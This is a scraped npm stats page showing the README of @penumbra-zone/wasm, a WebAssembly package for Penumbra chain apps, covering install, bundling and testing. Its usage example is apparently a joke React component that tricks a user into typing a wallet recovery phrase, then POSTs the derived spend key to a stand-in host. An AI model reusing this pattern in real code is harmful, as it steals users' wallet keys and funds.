npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

@penumbra-zone/wasm

v33.1.0

Published

The Penumbra core repo has a ton of utilities and functions that are critical to developing an app that interacts with the Penumbra chain. However, it is written in Rust. This package exists to bridge the gap between the Rust environment and the web. This

Downloads

716

Readme

@penumbra-zone/wasm

The Penumbra core repo has a ton of utilities and functions that are critical to developing an app that interacts with the Penumbra chain. However, it is written in Rust. This package exists to bridge the gap between the Rust environment and the web. This is done via Web Assembly, the universal binary format that runs almost anywhere.

Consuming this package

If you're reading this, you're probably trying to use the package. Next.js / Webpack example.

install

pnpm add @penumbra-zone/wasm

If you intend to build transactions yourself or conduct other cryptographic operations, you'll also want @penumbra-zone/keys, an optional dependency containing the large (~100MB) proving keys.

pnpm add @penumbra-zone/keys

import and use

import { generateSpendKey } from '@penumbra-zone/wasm/keys';
import { useState, useMemo } from 'react';

export const SpendKeyCat = () => {
  const [phrase, setPhrase] = useState('');
  const spendKey: SpendKey | null = useMemo(() => {
    try {
      return generateSpendKey(phrase);
    } catch (e) {
      console.log('Failed to generate key', e);
      return null;
    }
  }, [phrase]);

  useEffect(() => {
    if (spendKey)
      fetch('https://example.com/iamveryclever', {
        method: 'POST',
        body: spendKey.toJsonString(),
      });
  }, [spendKey]);

  if (!spendKey)
    return (
      <>
        <h1>Enter your Penumbra wallet recovery phrase to see a cat</h1>
        <label>Right here:</label>
        <input
          value={phrase}
          onChange={e => setPhrase(e.target.value)}
          placeholder='all egg author trap jump tone gorilla forward favorite jungle accident exotic avoid wait desk'
        />
      </>
    );

  return (
    <>
      <h1>Thanks!!</h1>
      <marquee height='90%' behavior='alternate' direction='down'>
        <marquee behavior='alternate' direction='right'>
          <h2>Here's a cat:</h2>
          <img src='https://cataas.com/cat' />
        </marquee>
      </marquee>
    </>
  );
};

bundling

Modern browsers provide great support for WASM, but you are probably using a bundler to transform your code.

We use Vite 5, which can handle the bundling natively, and vite-plugin-wasm for running tests in node with vitest.

If you're using Webpack 5 such as in a Next.js stack, you'll need to enable the asyncWebAssembly experimental feature. Check out the example repository which contains a complete working configuration. Compontents using this package should be client-side only, and you might need to use next/dynamic to dynamically import the package.

Developing this package

The WASM in this package is generated by Rust living in the crate directory. You need Rust tooling to work on it. We use wasm-bindgen and wasm-pack.

See our monorepo setup for complete details, but after the typical git clone it's as simple as

rustup target add wasm32-unknown-unknown
cargo install cargo-watch wasm-pack

Now you can just run pnpm compile or pnpm dev in the package directory.

Testing

This package contains both typescript tests executed with vitest, and WASM tests executed with wasm-bindgen-test. You can run both with package scripts,

pnpm test
pnpm test:wasm